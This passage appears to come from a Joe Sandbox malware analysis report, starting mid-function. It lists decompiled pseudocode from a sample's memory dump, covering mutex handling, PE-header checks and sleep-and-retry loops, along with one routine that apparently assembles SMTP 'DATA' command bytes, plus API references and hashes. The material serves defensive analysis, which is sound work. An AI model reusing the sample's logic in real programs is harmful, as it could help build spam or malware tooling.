											_t270 = _t270 + 4;
										}
										_v48 = _t266;
										_v52 = 0;
										_v68 = 0;
										_v36 = 0xffffffff;
										if(_v108 >= 0x10) {
											_push(_v128);
											L00424BCD();
											_t270 = _t270 + 4;
										}
										_v108 = _t266;
										_v112 = 0;
										_v128 = 0;
									}
									_t250 = _v148;
								}
								_t140 = 0x43 - _v16;
								 *0x431c82 = 0x43;
								_t250 =  *_t250;
								_v144 = _t250;
							} while (_t250 != 0);
						}
						 *0x431f10(_v140, 1);
						if( *((intOrPtr*)(_t257 + 8)) == 0) {
							goto L26;
						} else {
							WaitForSingleObject(_v0, 0xffffffff);
							_t188 =  *0x431c82 * 0x23;
							E00402A90(_v28);
							_push(_t257);
							_v40 = 3;
							E004034D0(E00403F40( &_a4),  &_v108);
							if(_v92 >= 0x10) {
								_push(_v104);
								L00424BCD();
								_t270 = _t270 + 4;
							}
							ReleaseMutex(_v0);
							 *0x431c82 = 0x43 - _t188;
							asm("pushad");
							asm("popad");
							_t150 = 1;
							 *[fs:0x0] = _v48;
							return _t150;
						}
					}
				} else {
					_t254 = _t129 + 0x28;
					if(_t257 != _t254) {
						E004032F0(_t257,  &_a4,  *((intOrPtr*)( *((intOrPtr*)(_t257 + 4)))),  *((intOrPtr*)(_t257 + 4)));
						_push(_t254);
						_t225 = _t257;
						E004033B0(_t225);
					}
					_t243 = _v0;
					ReleaseMutex(_t243);
					_t171 = 1;
					_push(_t243);
					 *[fs:0x0] = _v12;
					return _t171;
				}
			}

0x00404110
0x00404112
0x0040411d
0x0040411e
0x00404125
0x0040412b
0x0040413b
0x0040413d
0x0040413e
0x00404142
0x0040414a
0x00404152
0x00404155
0x0040415a
0x0040415d
0x0040417b
0x00404185
0x0040418c
0x00404199
0x004041a9
0x004041ad
0x004041b4
0x004041b6
0x004041bd
0x004041c5
0x004041ca
0x004041d0
0x004041d0
0x004041d2
0x004041d3
0x004041df
0x004041f1
0x00404206
0x00404208
0x0040420c
0x00404217
0x0040421d
0x0040421e
0x00404223
0x00404227
0x00404227
0x0040422d
0x00404235
0x0040423d
0x00404242
0x0040429a
0x004042a5
0x004042ab
0x004042b4
0x004042b9
0x004042c1
0x004042c2
0x004042c4
0x004042c6
0x004042c8
0x004042c9
0x004042d0
0x004042d3
0x004042e3
0x0040451b
0x00404525
0x0040452f
0x004042e9
0x004042e9
0x004042f2
0x004042f4
0x004042f6
0x004042fb
0x004042ff
0x00404310
0x00404317
0x00404319
0x00404328
0x0040432f
0x00404339
0x00404341
0x0040434c
0x00404355
0x00404365
0x00404367
0x0040436c
0x00404375
0x00404377
0x00404379
0x00404381
0x00404389
0x00404391
0x00404396
0x004043a0
0x004043a0
0x004043a2
0x004043a3
0x004043af
0x004043b4
0x004043b8
0x004043bc
0x004043c1
0x004043c2
0x004043c5
0x004043c6
0x004043cb
0x004043d6
0x004043dd
0x004043e4
0x004043e9
0x004043f2
0x004043f7
0x004043fa
0x00404402
0x0040440c
0x00404412
0x00404413
0x00404418
0x00404418
0x00404420
0x00404424
0x00404428
0x0040442d
0x00404438
0x0040443e
0x0040443f
0x00404444
0x00404444
0x00404447
0x0040444f
0x00404453
0x00404453
0x00404458
0x00404458
0x00404465
0x00404467
0x0040446c
0x00404470
0x00404470
0x00404310
0x00404481
0x0040448c
0x00000000
0x00404492
0x00404498
0x004044ac
0x004044b4
0x004044b9
0x004044c2
0x004044d4
0x004044de
0x004044e4
0x004044e5
0x004044ea
0x004044ea
0x004044f1
0x004044fe
0x00404504
0x00404505
0x00404508
0x0040450e
0x00404518
0x00404518
0x0040448c
0x00404244
0x00404244
0x00404249
0x0040425c
0x00404261
0x00404263
0x00404264
0x00404264
0x00404269
0x0040426d
0x00404278
0x00404279
0x00404280
0x0040428a
0x0040428a

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,?,00000001), ref: 0040418C
ReleaseMutex.KERNEL32(?,?,?,?,?), ref: 0040426D
ReleaseMutex.KERNEL32(?), ref: 004042A5
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404498
ReleaseMutex.KERNEL32(00000000,?,?,00000000,?,000000FF), ref: 004044F1

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait
String ID:
API String ID: 257779224-0
Opcode ID: 783b76a5b222c43bea98a55f11e09ce857abb6af711215eaabf1d72113e685dd
Instruction ID: fd5fbc5c4f4e3bffa0033b4428cd13ac12255f977d9f21434119e0cefaf8decc
Opcode Fuzzy Hash: 783b76a5b222c43bea98a55f11e09ce857abb6af711215eaabf1d72113e685dd
Instruction Fuzzy Hash: 1BC190B51083809FD320CF69D885B9BBBE4BFD5314F10492EF599873A2CB74A509CB66

Uniqueness

Uniqueness Score: -1.00%

Function 00427648, Relevance: 7.7, APIs: 5, Instructions: 187
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00427648() {
				signed int _t49;
				signed int _t51;
				void* _t52;
				signed int _t53;
				signed int _t56;
				signed int _t57;
				signed int* _t61;
				intOrPtr* _t62;
				intOrPtr _t64;
				signed int _t65;
				signed int* _t68;
				signed int _t69;
				intOrPtr _t70;
				void* _t72;
				signed int _t74;
				void* _t75;
				intOrPtr _t77;
				void _t78;
				signed int _t79;
				signed int _t80;
				signed int _t81;
				short* _t82;
				void* _t84;
				signed int _t85;
				signed int _t86;
				signed int _t87;
				signed int _t89;
				intOrPtr _t94;
				signed int _t96;
				signed int _t97;
				signed int _t99;
				signed int _t101;
				void* _t104;
				void* _t105;

				_t104 = _t105;
				_t99 =  *(_t104 + 8);
				_t72 =  *(_t99 + 8);
				if((_t72 & 0x00000003) != 0) {
					L3:
					_t49 = 0;
					L58:
					return _t49;
				}
				 *(_t104 + 8) =  *[fs:0x18];
				_t51 =  *(_t104 + 8);
				_t77 =  *((intOrPtr*)(_t51 + 8));
				 *((intOrPtr*)(_t104 - 4)) = _t77;
				if(_t72 < _t77 || _t72 >=  *((intOrPtr*)(_t51 + 4))) {
					_t94 =  *((intOrPtr*)(_t99 + 0xc));
					__eflags = _t94 - 0xffffffff;
					if(_t94 != 0xffffffff) {
						_t86 = 0;
						__eflags = 0;
						 *(_t104 + 8) = 0;
						_t52 = _t72;
						do {
							_t78 =  *_t52;
							__eflags = _t78 - 0xffffffff;
							if(_t78 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t78 - _t86;
							if(_t78 >= _t86) {
								L41:
								_t49 = 0;
								L57:
								goto L58;
							}
							L9:
							__eflags =  *(_t52 + 4);
							if( *(_t52 + 4) != 0) {
								_t13 = _t104 + 8;
								 *_t13 =  *(_t104 + 8) + 1;
								__eflags =  *_t13;
							}
							_t86 = _t86 + 1;
							_t52 = _t52 + 0xc;
							__eflags = _t86 - _t94;
						} while (_t86 <= _t94);
						__eflags =  *(_t104 + 8);
						if( *(_t104 + 8) == 0) {
							L15:
							_t53 =  *0x4321b8; // 0x0
							_t96 = _t72;
							_t97 = _t96 & 0xfffff000;
							_t101 = 0;
							__eflags = _t53;
							if(_t53 <= 0) {
								L18:
								_t56 = VirtualQuery(_t72, _t104 - 0x20, 0x1c);
								__eflags = _t56;
								if(_t56 == 0) {
									L56:
									_t49 = _t56 | 0xffffffff;
									__eflags = _t49;
									goto L57;
								}
								__eflags =  *((intOrPtr*)(_t104 - 8)) - 0x1000000;
								if( *((intOrPtr*)(_t104 - 8)) != 0x1000000) {
									goto L56;
								}
								__eflags =  *(_t104 - 0xc) & 0x000000cc;
								if(( *(_t104 - 0xc) & 0x000000cc) == 0) {
									L28:
									_t57 = InterlockedExchange(0x432200, 1);
									__eflags = _t57;
									if(_t57 != 0) {
										goto L5;
									}
									_t79 =  *0x4321b8; // 0x0
									_t80 = _t79;
									__eflags = _t80;
									_t87 = _t80;
									if(_t80 <= 0) {
										L33:
										__eflags = _t87;
										if(_t87 != 0) {
											L40:
											InterlockedExchange(0x432200, 0);
											goto L5;
										}
										_t74 = 0xf;
										__eflags = _t80 - _t74;
										if(_t80 <= _t74) {
											_t74 = _t80;
										}
										_t89 = 0;
										__eflags = _t74;
										if(_t74 < 0) {
											L38:
											__eflags = _t80 - 0x10;
											if(_t80 < 0x10) {
												_t81 = _t80 + 1;
												__eflags = _t81;
												 *0x4321b8 = _t81;
											}
											goto L40;
										} else {
											do {
												_t61 = 0x4321c0 + _t89 * 4;
												_t89 = _t89 + 1;
												__eflags = _t89 - _t74;
												 *_t61 = _t97;
												_t97 =  *_t61;
											} while (_t89 <= _t74);
											goto L38;
										}
									}
									_t62 = 0x4321bc + _t80 * 4;
									while(1) {
										__eflags =  *_t62 - _t97;
										if( *_t62 == _t97) {
											goto L33;
										}
										_t87 = _t87 - 1;
										_t62 = _t62 - 4;
										__eflags = _t87;
										if(_t87 > 0) {
											continue;
										}
										goto L33;
									}
									goto L33;
								}
								_t82 =  *((intOrPtr*)(_t104 - 0x1c));
								__eflags =  *_t82 - 0x5a4d;
								if( *_t82 != 0x5a4d) {
									goto L56;
								}
								_t56 =  *((intOrPtr*)(_t82 + 0x3c)) + _t82;
								__eflags =  *_t56 - 0x4550;
								if( *_t56 != 0x4550) {
									goto L56;
								}
								__eflags =  *((short*)(_t56 + 0x18)) - 0x10b;
								if( *((short*)(_t56 + 0x18)) != 0x10b) {
									goto L56;
								}
								_t75 = _t72 - _t82;
								__eflags =  *((short*)(_t56 + 6));
								_t84 = ( *(_t56 + 0x14) & 0x0000ffff) + _t56 + 0x18;
								if( *((short*)(_t56 + 6)) <= 0) {
									goto L56;
								}
								_t64 =  *((intOrPtr*)(_t84 + 0xc));
								__eflags = _t75 - _t64;
								if(_t75 < _t64) {
									goto L28;
								}
								__eflags = _t75 -  *((intOrPtr*)(_t84 + 8)) + _t64;
								if(_t75 >=  *((intOrPtr*)(_t84 + 8)) + _t64) {
									goto L28;
								}
								__eflags =  *(_t84 + 0x27) & 0x00000080;
								if(( *(_t84 + 0x27) & 0x00000080) != 0) {
									goto L41;
								}
								goto L28;
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x4321c0 + _t101 * 4)) - _t97;
								if( *((intOrPtr*)(0x4321c0 + _t101 * 4)) == _t97) {
									break;
								}
								_t101 = _t101 + 1;
								__eflags = _t101 - _t53;
								if(_t101 < _t53) {
									continue;
								}
								goto L18;
							}
							__eflags = _t101;
							if(_t101 <= 0) {
								goto L5;
							}
							_t65 = InterlockedExchange(0x432200, 1);
							__eflags = _t65;
							if(_t65 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x4321c0 + _t101 * 4)) - _t97;
							if( *((intOrPtr*)(0x4321c0 + _t101 * 4)) == _t97) {
								L53:
								_t85 = 0;
								__eflags = _t101;
								if(_t101 < 0) {
									L55:
									InterlockedExchange(0x432200, 0);
									goto L5;
								} else {
									goto L54;
								}
								do {
									L54:
									_t68 = 0x4321c0 + _t85 * 4;
									_t85 = _t85 + 1;
									__eflags = _t85 - _t101;
									 *_t68 = _t97;
									_t97 =  *_t68;
								} while (_t85 <= _t101);
								goto L55;
							}
							_t69 =  *0x4321b8; // 0x0
							_t43 = _t69 - 1; // -1
							_t101 = _t43;
							__eflags = _t101;
							if(_t101 < 0) {
								L49:
								__eflags = _t69 - 0x10;
								if(_t69 < 0x10) {
									_t69 = _t69 + 1;
									__eflags = _t69;
									 *0x4321b8 = _t69;
								}
								_t46 = _t69 - 1; // 0x0
								_t101 = _t46;
								goto L53;
							} else {
								goto L46;
							}
							while(1) {
								L46:
								__eflags =  *((intOrPtr*)(0x4321c0 + _t101 * 4)) - _t97;
								if( *((intOrPtr*)(0x4321c0 + _t101 * 4)) == _t97) {
									break;
								}
								_t101 = _t101 - 1;
								__eflags = _t101;
								if(_t101 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t101;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L55;
								}
								goto L53;
							}
							goto L49;
						}
						_t70 =  *((intOrPtr*)(_t99 - 8));
						__eflags = _t70 -  *((intOrPtr*)(_t104 - 4));
						if(_t70 <  *((intOrPtr*)(_t104 - 4))) {
							goto L41;
						}
						__eflags = _t70 - _t99;
						if(_t70 >= _t99) {
							goto L41;
						}
						goto L15;
					}
					L5:
					_t49 = 1;
					goto L57;
				} else {
					goto L3;
				}
			}

0x0042764a
0x00427650
0x00427653
0x00427659
0x00427676
0x00427676
0x0042786d
0x00427870
0x00427870
0x00427661
0x00427664
0x00427667
0x0042766c
0x0042766f
0x0042767e
0x00427681
0x00427684
0x0042768e
0x0042768e
0x00427690
0x00427693
0x00427695
0x00427695
0x00427697
0x0042769a
0x00000000
0x00000000
0x0042769c
0x0042769e
0x004277e9
0x004277e9
0x0042786c
0x00000000
0x0042786c
0x004276a4
0x004276a4
0x004276a8
0x004276aa
0x004276aa
0x004276aa
0x004276aa
0x004276ad
0x004276ae
0x004276b1
0x004276b1
0x004276b5
0x004276b9
0x004276cf
0x004276cf
0x004276d5
0x004276d6
0x004276dc
0x004276de
0x004276e0
0x004276f4
0x00427701
0x00427701
0x00427703
0x00427869
0x00427869
0x00427869
0x00000000
0x00427869
0x00427709
0x00427710
0x00000000
0x00000000
0x00427716
0x0042771a
0x00427772
0x00427779
0x0042777f
0x00427781
0x00000000
0x00000000
0x00427787
0x0042778d
0x0042778d
0x0042778f
0x00427791
0x004277a6
0x004277a6
0x004277a8
0x004277d7
0x004277de
0x00000000
0x004277de
0x004277ac
0x004277ad
0x004277af
0x004277b1
0x004277b1
0x004277b3
0x004277b5
0x004277b7
0x004277cb
0x004277cb
0x004277ce
0x004277d0
0x004277d0
0x004277d1
0x004277d1
0x00000000
0x004277b9
0x004277b9
0x004277b9
0x004277c2
0x004277c3
0x004277c5
0x004277c7
0x004277c7
0x00000000
0x004277b9
0x004277b7
0x00427793
0x0042779a
0x0042779a
0x0042779c
0x00000000
0x00000000
0x0042779e
0x0042779f
0x004277a2
0x004277a4
0x00000000
0x00000000
0x00000000
0x004277a4
0x00000000
0x0042779a
0x0042771c
0x0042771f
0x00427724
0x00000000
0x00000000
0x0042772d
0x0042772f
0x00427735
0x00000000
0x00000000
0x0042773b
0x00427741
0x00000000
0x00000000
0x00427747
0x00427749
0x00427752
0x00427756
0x00000000
0x00000000
0x0042775c
0x0042775f
0x00427761
0x00000000
0x00000000
0x00427768
0x0042776a
0x00000000
0x00000000
0x0042776c
0x00427770
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004276e2
0x004276e2
0x004276e2
0x004276e9
0x00000000
0x00000000
0x004276ef
0x004276f0
0x004276f2
0x00000000
0x00000000
0x00000000
0x004276f2
0x004277ed
0x004277ef
0x00000000
0x00000000
0x00427802
0x00427804
0x00427806
0x00000000
0x00000000
0x0042780c
0x00427813
0x00427843
0x00427843
0x00427845
0x00427847
0x0042785b
0x00427862
0x00000000
0x00000000
0x00000000
0x00000000
0x00427849
0x00427849
0x00427849
0x00427852
0x00427853
0x00427855
0x00427858
0x00427858
0x00000000
0x00427849
0x00427815
0x0042781a
0x0042781d
0x0042781d
0x0042781f
0x00427831
0x00427831
0x00427834
0x00427836
0x00427836
0x00427837
0x00427837
0x0042783c
0x0042783c
0x00000000
0x00000000
0x00000000
0x00000000
0x00427821
0x00427821
0x00427821
0x00427828
0x00000000
0x00000000
0x0042782a
0x0042782a
0x0042782b
0x00000000
0x00000000
0x00000000
0x0042782b
0x0042782d
0x0042782f
0x00427841
0x00000000
0x00000000
0x00000000
0x00427841
0x00000000
0x0042782f
0x004276bb
0x004276be
0x004276c1
0x00000000
0x00000000
0x004276c7
0x004276c9
0x00000000
0x00000000
0x00000000
0x004276c9
0x00427686
0x00427688
0x00000000
0x00000000
0x00000000
0x00000000

APIs

VirtualQuery.KERNEL32(?,00425255,0000001C,?,?,?,?,?,00425255,?), ref: 004276FB
InterlockedExchange.KERNEL32(00432200,00000001), ref: 00427779
InterlockedExchange.KERNEL32(00432200,00000000), ref: 004277DE
InterlockedExchange.KERNEL32(00432200,00000001), ref: 00427802
InterlockedExchange.KERNEL32(00432200,00000000), ref: 00427862

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ExchangeInterlocked$QueryVirtual
String ID:
API String ID: 2947987494-0
Opcode ID: 4e2344ee533906e0d4f65902d1f0c601f0fc85c0b65ee768e2a74f5a0aa538e5
Instruction ID: 836177a7df959f9a1afdbe2bed08e9a4b4021d3c0f3e6dd25386b2ee1b8a3d58
Opcode Fuzzy Hash: 4e2344ee533906e0d4f65902d1f0c601f0fc85c0b65ee768e2a74f5a0aa538e5
Instruction Fuzzy Hash: 49512831B086319FDB248B19FA84B3A77A1EB41724FA5956BD501873E1D3B8EC41C65C

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB70, Relevance: 7.7, APIs: 6, Instructions: 162
memorysleepCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040BB70(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t30;
				void* _t31;
				void* _t38;
				signed char _t39;
				signed char _t44;
				void* _t48;
				void* _t51;
				signed char _t53;
				signed char _t55;
				void* _t59;
				signed int _t61;
				signed char _t69;
				signed char _t70;
				signed char _t72;
				signed char _t74;
				intOrPtr _t96;
				intOrPtr _t99;
				void* _t100;

				_t30 =  *0x4310d8; // 0xd0c2a9a8
				_t93 =  *((intOrPtr*)(_t100 + 0x420));
				 *((intOrPtr*)(_t100 + 0x41c)) = _t30;
				_t31 = E004074A0( *( *((intOrPtr*)(_t100 + 0x420))), 0);
				_t95 = _t31;
				if(E004074A0( *_t93, 1) + _t31 < 0x3e8 && E0040B610(_t95) < 0xbb8) {
					 *0x431c87 = 0x23;
					_t38 = HeapAlloc(GetProcessHeap(), 0, 0x80000);
					 *(_t100 + 0xc) = _t38;
					if(_t38 != 0) {
						_t39 =  *0x431c87; // 0x0
						_t69 = _t39 & 0x00000004 | 0x00000010;
						 *0x431c87 = _t39 | _t69;
						_t70 = _t69 ^ 0x0000009c;
						 *(_t100 + 0xc) = 0;
						if(E0040B610(_t95) < 0xbb8) {
							do {
								_t44 =  *0x431c87; // 0x0
								 *0x431c87 = _t44 - _t70 ^ 0x00000005;
								while(E004074A0( *_t93, 3) > 0xf) {
									Sleep(0x2710);
								}
								 *(_t100 + 0x24) = 0x80000;
								_t48 = E0040BB30( *((intOrPtr*)(_t100 + 0x14)), _t100 + 0x1c);
								_t100 = _t100 + 8;
								if(_t48 == 0) {
									 *0x431c87 = 0x52;
								} else {
									_push(_t100 + 0x18);
									_t96 = 0;
									_push(0);
									_push( *((intOrPtr*)(_t100 + 0x1c)));
									_push( *((intOrPtr*)(_t100 + 0x14)));
									_push(0x400);
									_t99 = 0;
									_push(_t100 + 0x30);
									 *((intOrPtr*)(_t100 + 0x30)) = 0;
									_t51 = E0041DEA0();
									_t100 = _t100 + 0x18;
									if(_t51 != 0) {
										do {
											 *0x431c87 = 0x23;
											_t72 = 0x3f;
											_t96 = _t96 + 1;
											if(E0040B300( *_t93, _t100 + 0x2c, 0, 0, 1) == 0) {
												_t53 =  *0x431c87; // 0x0
												_t74 = _t53 ^ 0x00000014;
												_t55 = _t53 - _t74 ^ 0x00000007;
												 *0x431c87 = _t55;
												_t72 = _t74 | _t55 & 0x0000000a;
											} else {
												 *0x431c87 =  *0x431c87 + 0xc1;
												_t99 = _t99 + 1;
												E0040B780(_t96);
											}
											_push(_t100 + 0x18);
											_push( *((intOrPtr*)(_t100 + 0x18)));
											_push( *((intOrPtr*)(_t100 + 0x1c)));
											_push( *((intOrPtr*)(_t100 + 0x18)));
											_push(0x400);
											_push(_t100 + 0x30);
											_t59 = E0041DEA0();
											_t100 = _t100 + 0x18;
										} while (_t59 != 0);
										if(_t96 != 0) {
											if(_t99 != 0) {
												 *(_t100 + 0x10) = 0;
											} else {
												 *(_t100 + 0x10) =  *(_t100 + 0x10) + 1;
											}
											E004167F0(_t99);
											if( *(_t100 + 0x10) != 3) {
												goto L19;
											}
										}
									}
								}
								L22:
								goto L23;
								L19:
								_t61 =  *0x431c87; // 0x0
								 *0x431c87 = _t61 * _t72;
								Sleep(0x2bf20);
								_t70 = 0x3f;
								 *0x431c87 = 0x23;
							} while (E0040B610(_t96) < 0xbb8);
							goto L22;
						}
						L23:
						HeapFree(GetProcessHeap(), 0,  *(_t100 + 0x10));
					}
				}
				return E00424873(0,  *((intOrPtr*)(_t100 + 0x418)));
			}

0x0040bb76
0x0040bb7d
0x0040bb88
0x0040bb8f
0x0040bb98
0x0040bba6
0x0040bbc3
0x0040bbd1
0x0040bbd9
0x0040bbdd
0x0040bbe3
0x0040bbee
0x0040bbf3
0x0040bbf8
0x0040bbfb
0x0040bc0d
0x0040bc14
0x0040bc14
0x0040bc1d
0x0040bc2e
0x0040bc35
0x0040bc44
0x0040bc53
0x0040bc5b
0x0040bc60
0x0040bc65
0x0040bd68
0x0040bc6b
0x0040bc77
0x0040bc78
0x0040bc7a
0x0040bc7b
0x0040bc7c
0x0040bc81
0x0040bc86
0x0040bc88
0x0040bc89
0x0040bc8d
0x0040bc92
0x0040bc97
0x0040bca0
0x0040bcaa
0x0040bcb4
0x0040bcb6
0x0040bcbe
0x0040bccf
0x0040bcd6
0x0040bcdb
0x0040bcdd
0x0040bce4
0x0040bcc0
0x0040bcc0
0x0040bcc7
0x0040bcc8
0x0040bcc8
0x0040bcf2
0x0040bcf7
0x0040bcf8
0x0040bcf9
0x0040bcfe
0x0040bd03
0x0040bd04
0x0040bd09
0x0040bd0c
0x0040bd12
0x0040bd16
0x0040bd1e
0x0040bd18
0x0040bd18
0x0040bd18
0x0040bd2a
0x0040bd34
0x00000000
0x00000000
0x0040bd34
0x0040bd12
0x0040bc97
0x0040bd6f
0x00000000
0x0040bd36
0x0040bd36
0x0040bd42
0x0040bd47
0x0040bd4d
0x0040bd4f
0x0040bd5b
0x00000000
0x0040bd66
0x0040bd70
0x0040bd7e
0x0040bd84
0x0040bbdd
0x0040bd9b

APIs

Part of subcall function 004074A0: WaitForSingleObject.KERNEL32(?,000000FF,?,?,00419270,00000002,?,0000000A,00000000,?,?,?,?,?,?,?), ref: 004074AC
Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074C9

Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074DD

Part of subcall function 0040B610: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 0040B70E
Part of subcall function 0040B610: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B728
Part of subcall function 0040B610: ReadFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B744
Part of subcall function 0040B610: CloseHandle.KERNEL32(00000000), ref: 0040B760

GetProcessHeap.KERNEL32(00000000,00080000,00000001,00000000), ref: 0040BBCA
HeapAlloc.KERNEL32(00000000), ref: 0040BBD1
Sleep.KERNEL32(00002710,00000003), ref: 0040BC35
Sleep.KERNEL32(0002BF20,00000000), ref: 0040BD47
GetProcessHeap.KERNEL32(00000000,?), ref: 0040BD77
HeapFree.KERNEL32(00000000), ref: 0040BD7E

Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074F1

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$MutexRelease$FileProcessSleep$AllocCloseCreateEnvironmentExpandFreeHandleObjectReadSingleStringsWait
String ID:
API String ID: 852835205-0
Opcode ID: cb922d948c341c4ec4f5cf48101532b27f292cf533eb1d70b440bbdce6734a4b
Instruction ID: dbe7561af554c473106a4ec3f17350c3c00e3f78ca735fbf8e53c6946bf8a5ce
Opcode Fuzzy Hash: cb922d948c341c4ec4f5cf48101532b27f292cf533eb1d70b440bbdce6734a4b
Instruction Fuzzy Hash: 2D51B3716483415FE710DB61DC85BABBBA4EB95304F04183EF584972E2EB789405CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 0041AD70, Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 99
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0041AD70(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp, void* __eflags, intOrPtr _a4) {
				intOrPtr _v4;
				char _v6;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				void* _v24;
				intOrPtr _t27;
				int _t31;
				void* _t39;
				void* _t43;
				void* _t49;
				void* _t53;
				intOrPtr* _t64;
				void* _t69;

				_t27 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t27;
				_v11 = 0x41;
				_v9 = 0x41;
				_push(__esi);
				_v7 = 0xa;
				_v19 = 0xa;
				_v16 = 0xa;
				_t69 = __ecx;
				_v12 = 0x44;
				_v10 = 0x54;
				_v8 = 0xd;
				_v6 = 0;
				_v20 = 0xd;
				_v18 = 0x2e;
				_v17 = 0xd;
				_v15 = 0;
				_t31 = lstrlenA( &_v12);
				_t49 = _t69;
				if(E0041BC30(_t31, _t49,  &_v12, _t31) != 0xffffffff) {
					_push(__edi);
					_t64 = _t69 + 0x24;
					if(E0041ABE0(__ebx, _t69, _t64) != 0) {
						L8:
						return E00424873(_t33, _v4);
					} else {
						if( *_t64 == 0x162) {
							if(E0040C8E0(__ebx, _a4, _t64, _t69, _t69) != 0) {
								_push(lstrlenA( &_v20));
								_push( &_v20);
								_t53 = _t69;
								_t33 = (0 | E0041BC30( &_v20, _t53) != 0xffffffff) - 0x00000001 & 0x00000007;
								goto L8;
							} else {
								asm("pushad");
								asm("popad");
								_t39 = 7;
								return E00424873(_t39, _v4);
							}
						} else {
							return E00424873(8, _v4);
						}
					}
				} else {
					_t43 = 7;
					_push(_t49);
					return E00424873(_t43, _v4);
				}
			}

0x0041ad73
0x0041ad78
0x0041ad85
0x0041ad89
0x0041ad8f
0x0041ad90
0x0041ad94
0x0041ad98
0x0041ad9c
0x0041ada5
0x0041adaa
0x0041adaf
0x0041adb3
0x0041adb8
0x0041adbc
0x0041adc1
0x0041adc5
0x0041adca
0x0041add2
0x0041addc
0x0041adf4
0x0041adf5
0x0041ae02
0x0041ae6a
0x0041ae79
0x0041ae04
0x0041ae0a
0x0041ae2f
0x0041ae4f
0x0041ae54
0x0041ae56
0x0041ae69
0x00000000
0x0041ae31
0x0041ae33
0x0041ae34
0x0041ae37
0x0041ae45
0x0041ae45
0x0041ae0c
0x0041ae20
0x0041ae20
0x0041ae0a
0x0041adde
0x0041ade1
0x0041ade2
0x0041adf1
0x0041adf1

APIs

lstrlenA.KERNEL32 ref: 0041ADCA

Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

D, xrefs: 0041ADA5
., xrefs: 0041ADBC
T, xrefs: 0041ADAA

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
